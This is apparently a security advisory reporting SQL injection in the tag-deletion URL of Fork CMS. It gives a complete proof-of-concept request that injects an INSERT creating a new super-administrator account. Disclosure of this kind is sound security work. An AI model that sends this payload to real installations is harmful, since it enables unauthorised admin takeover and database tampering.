Description

When calling the url for deleting one or more tags, the parameter id is vulnerable for SQL injection.

Proof of Concept

Call an URL like this one (as an authenticated user).

http://forkcms.site/private/de/tags/mass_action?token=n93e05rj0l&id[]=3);insert into users(email,password,is_god) values ('attacker@example.com','$2y$10$qqJ9L1lIp38gKpqh1V3l1.EqLzj.brB0IqUPQ2XXcSjl6Dtcgq16C',1);--+&action=delete

After calling this URL, the table users has a new entry.

Impact

The attacker can tamper data in the database as they want.